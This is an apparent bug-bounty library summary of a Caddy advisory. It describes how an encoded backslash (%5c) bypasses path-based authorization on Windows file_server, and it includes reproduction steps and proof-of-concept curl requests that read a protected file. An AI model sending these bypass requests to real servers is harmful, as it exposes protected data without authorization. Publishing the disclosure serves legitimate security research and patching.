# Caddy: Windows `file_server` path authorization bypass via encoded backslash

On Windows, Caddy's path matcher treats `/private%5csecret.txt` as outside `/private/*` while file_server resolves the backslash as a separator, bypassing path-scoped auth to read protected files.

- Payout: Research
- Severity: high
- Program: Caddy
- Found by: Vincent550102
- Disclosed: 2026-06-16
- CVE: CVE-2026-52844
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-qrp7-cvwr-j2c6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-qrp7-cvwr-j2c6
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go tech:windows technique:parser-differential technique:source-review vuln:access-control vuln:auth-bypass vuln:path-traversal

**Target:** Caddy HTTP server file_server on Windows
**Root cause:** MatchPath compares r.URL.Path with URL semantics and never normalizes `\` to `/`, but on Windows the OS filesystem layer treats `\` as a path separator, so the matcher and file_server disagree on which directory a request targets.
**Steps:**
1. On Windows create `www\private\secret.txt` and a Caddyfile with `root * <base>\www`, `@private path /private/*`, `respond @private 403`, then `file_server`.
2. Start caddy.exe with that config on port 19080.
3. Baseline: `curl --path-as-is http://host:19080/private/secret.txt` returns 403.
4. Bypass: `curl --path-as-is 'http://host:19080/private%5csecret.txt'` returns 200 with the secret contents; `%5C` also works.
**How found:** Noticed the two code paths diverge: MatchPath uses URL path semantics without backslash normalization (matchers.go), while SanitizedPathJoin hands the same path to the OS filesystem where Windows treats `\` as a separator. Distinguished this from the earlier try_files/file-matcher fix (CVE-2026-27585) and reproduced on HEAD with a Windows build.
**Exploitation:** Unauthenticated remote attacker sends a request whose path contains an encoded backslash (`%5c`) instead of a forward slash. The `path /private/*` matcher fails to match, so the deny/basic_auth route is skipped, and file_server resolves the decoded backslash as a Windows separator, serving the file from the protected subtree.
**Escalation:** Impact grows when the protected subtree holds backups, database files, exported admin data, credentials, or signing/session secrets; traversal outside the site root via `..%5c` remains blocked.
**Insight:** When an authorization matcher and the eventual sink parse the same string with different grammars (URL vs OS path), look for separator/encoding differentials — here `%5c` — that make the guard and the consumer disagree; check platform-specific separator handling even when the matcher looks correct on Linux.

## Proof of concept (copied exactly from the original report)

**Bypass request with encoded backslash**

```
curl -v --path-as-is 'http://<windows-host>:19080/private%5csecret.txt'

Observed:

> GET /private%5csecret.txt HTTP/1.1
< HTTP/1.1 200 OK
< Content-Length: 23

SECRET_FROM_WINDOWS_LAB
```

**Caddyfile with path matcher and file_server**

```
@private path /private/*
	respond @private 403

	file_server
}
'@ | Set-Content -Path "$base\Caddyfile" -Encoding ASCII
```

**Baseline blocked request**

```
curl -v --path-as-is http://<windows-host>:19080/private/secret.txt

Observed:

> GET /private/secret.txt HTTP/1.1
< HTTP/1.1 403 Forbidden
```

